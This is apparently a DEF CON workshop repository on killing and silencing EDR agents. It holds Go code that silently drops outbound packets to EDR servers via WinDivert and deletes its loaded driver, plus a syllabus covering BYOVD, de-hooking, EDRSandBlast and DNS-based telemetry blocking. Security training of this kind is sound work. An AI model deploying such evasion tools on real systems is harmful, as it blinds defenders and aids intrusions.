startPacketDrop(ipList []string) error { filter := "outbound and (" for i, ip := range ipList { if i > 0 { filter += " or " } filter += fmt.Sprintf("ip.DstAddr == %s", ip) } filter += ")" fmt.Printf("[*] Applying filter: %s\n", filter) handle, err := windivert.Open(filter, windivert.LayerNetwork, 0, 0) if err != nil { return fmt.Errorf("failed to open WinDivert handle: %w", err) } defer handle.Close() packet := make([]byte, 1500) addr := new(windivert.Address) fmt.Println("[*] Packet dropper running. Press Ctrl+C to exit.") for { _, err := handle.Recv(packet, addr) if err != nil { continue } fmt.Printf("[DROP] %s\n", addr.IPv4Destination()) // Don't reinject = silently drop } } func selfRemoveDriver() error { exeDir, err := os.Executable() if err != nil { return err } dir := filepath.Dir(exeDir) driverPath := filepath.Join(dir, driverName) // Delay to ensure the driver is released time.Sleep(2 * time.Second) err = os.Remove(driverPath) if err != nil { return fmt.Errorf("could not delete %s: %w", driverPath, err) } return nil } ================================================ FILE: 2-custom-edr-evasion/README.md ================================================ # Custom EDR Evasion Welcome to Custom EDR Evasion. This module of the workshop has two parts. The first, covers EDR evasion through the method that is used by EDR Sandblast to acheive the priveleges required to disable EDR called BYOD. or Bring Your Own Driver. Then second part goes over different methods of evading EDR or operation on a device that has it, up to and including the concepts of de-hooking. There is a lot of custom code here, most of it is pre compiled, which means you can just use the program without going through the compile steps, but the compile steps are provdied. There is intetionally more than we will be able to cover in depth, but it hopefully provides you with inspiration, and a good baseline understanding of this kind of malware development. The intetn is not to hand you fully function advanced malware, but rather to cover the concepts that advanced malware can/has/will leverage. 1. ## [Custom BYOD Implementation](./1-Custom-BYOD/README.md) 2. ## [Custom EDR Evasion Techniques](./2-Custom-API/README.md) ================================================ FILE: README.md ================================================ # 🛡️ DEFCON Workshop: Putting EDRs in Their Place ### 💀 Killing and Silencing EDR Agents Like an Adversary ![banner](images/edr_slay_banner.png) - ### [Setup](0-setup/README.md) - ### [EDR Killing](1-edr-killing/README.md) - ### [Custom EDR Evasion](2-custom-edr-evasion/README.md) ## 🎯 What You’ll Do Each student will be provisioned their own lab environment to: - 🔍 Investigate a live EDR agent: discover its hooks, logs, and reach - ⚔️ Compile & deploy EDR killers used by known threat groups - 🔕 Silence the agent-to-tenant communication path (shhh...) - 🧠 Reverse engineer tool behaviors in real time - 🛠️ Write custom C/C++ code to replicate evasion techniques - 🧬 Build your own EDR killer and silencer—like a boss ## 👨‍💻 Format ✔️ Hands-on labs in your own hosted VM ✔️ Pre-loaded tools, samples, and EDR emulator ✔️ Instructor-led reverse engineering and live coding ✔️ No filler. Just killin’. ## 💻 Requirements Make sure you're ready to go with: - ✅ A modern browser (for the hosted lab) - ✅ Some knowledge of C/C++ (or willingness to jump in) - ✅ Passion for pain, pointers, and patchless pwnage ## 🛠️ Tools & Techniques Covered | Category | Topics Covered | |----------------------|----------------| | 🧬 Evasion | Inline hooking, API tracing, userland stealth | | 🪓 EDR Kill Chains | Process injection, thread hijacking, process tampering | | 🛡️ Silencing Agents | Blocking telemetry, stalling callbacks, tenant comms kill | | 🧱 BYOVD | Custom driver loading, kernel tampering, stealth access | | 🔬 RE + Dev | Dissecting EDR binaries, writing your own bypass toolsets | --- ## I. 👋 Introduction (10 min) — *Ryan & Aaron* - Welcome and introductions - Workshop overview: - 🔍 **Our focus:** EDR killing vs. silencing — what’s the difference, who uses these tactics, and why? - 🧰 Tools & techniques preview - 🧪 Structure: - Use and analyze real-world tools - Write your own weaponized versions - 👑 Ground rules: - Participate, ask questions, stay respectful, share thoughts! --- ## II. 🧱 Environment Setup (25 min) — *Aaron* **Goal:** Get your personal lab ready for action. - 🔗 GitHub lab instructions - 🧪 Pluralsight Lab: Setup free accounts - ✅ Verify lab access - 🛠️ Troubleshooting help if needed --- ## III. 🧠 Introduction to OpenEDR (40 min) — *Ryan* **Goal:** Understand the EDR we’ll be targeting. - What is [OpenEDR](https://www.openedr.com/)? Why it was selected? Alternatives? - 🧬 OpenEDR internals: - Logging behavior - Detection capabilities - 🧪 Run some commands → Analyze logs --- ## IV. 💣 EDR Killing with EDRSandBlast (20 min) — *Ryan* **Goal:** Use a real-world EDR killer tool seen in ransomware campaigns. - Overview of [EDRSandBlast](https://github.com/wavestone-cdt/EDRSandblast) - 👨‍💻 Code walkthrough in Visual Studio - 🔨 Build it - 🚀 Execute it: - Run post-exploit commands → verify nothing is logged - 🩹 Disable EDRSandBlast → see logs come back online --- ## V. 🕶️ EDR Silencing Methods (25 min) — *Ryan* **Goal:** Disable EDR telemetry *without killing the agent.* - 📡 Silencing techniques: - `Add-DnsClientNrptRule` - `GenericDNSServers` registry key - *(If time)* `PendingFileRenameOperations` - ✅ Verify agent stays "alive" but blind --- ## ☕ BREAK (15 min) Take a breather. Stretch. Reflect on what you’ve just done to that poor EDR. --- ## VI. 🔧 Writing an EDR Killer (45 min) — *Aaron* **Goal:** Create your own killer using BYOVD (Bring Your Own Vulnerable Driver) - 🔍 Walkthrough: - Analyze & edit pre-provided code snippets - Live code augmentation - Compile & test - 💀 Use custom code to destroy OpenEDR - 🔬 Discussion: - Readily-available tools vs. DIY bypasses --- ## VII. 🤫 Writing an EDR Silencer (45 min) — *Aaron* **Goal:** Quiet the EDR via code — not commands. - 🧠 Strategy: - Use API calls to avoid detection - Replace LOLBins with low-noise native methods - 🛠️ Live lab: - Modify and compile silencer code - Test against OpenEDR agent - 🧩 Takeaways: - Code-level silencing = longer dwell time --- ## VIII. 🎤 Wrap-Up (15 min) — *Aaron* - 💬 Open discussion & Q&A - 🧭 What’s next for Aaron & Ryan - 👋 Goodbyes & DEFCON love - 💀 #RansomwareSucks stickers and war stories encouraged